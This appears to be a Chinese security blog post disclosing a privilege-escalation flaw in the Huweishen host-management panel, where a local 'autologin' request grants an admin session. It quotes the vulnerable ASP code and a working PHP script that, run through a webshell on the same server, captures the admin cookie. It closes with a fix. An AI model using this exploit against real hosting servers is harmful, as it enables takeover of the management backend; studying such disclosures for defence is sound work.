护卫神主机大师未授权提权漏洞

##0x01 前言
  护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。但这套系统真的安全么?,由于某次测试遇到该系统,遂对该系统进行分析。本文记录了分析过程中的一些记录和问题。

##0x02 代码分析
  系统运行在6588端口。且为asp语言开发。我们来看看相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))

If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin" Then
'获取管理用户登录
Dim sql,rs
call conn_open()
Set rs = Server.CreateObject("Adodb.Recordset")

sql = "select top 1 * from [huweishen_Admin]"
rs.Open sql,conn,1,1
if rs.RecordCount = 0 then
Session("admin")= "autologin"
else
Session("admin") = rs("username")
end if
rs.Close
Session.Timeout =600

AddLog Session("admin"), 1, "控制台直接登录管理中心"

Response.Redirect "index.asp"
End If

%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

##0x03 利用方法

本漏洞利用前提是获取到虚拟主机上的一个webshell,其次在通过以下脚本即可访问到虚拟主机管理后台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function httpGet() {
$url = 'http://127.0.0.1:6588/admin/index.asp?f=autologin';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
return $result;
}
echo httpGet();
?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可访问到虚拟主机管理后台。绕过登录限制。

##0x04 实战利用

直接访问需要登录

通过脚本获取cookie
图片.png
修改cookie后直接访问/admin/index.asp,进入后台
图片.png

余下操作就可以自由发挥了

##0x05 总结
 不要对内部不要过于信任,因为你无法确保内部绝对安全
 
 修复方案:
 删除第9行到28行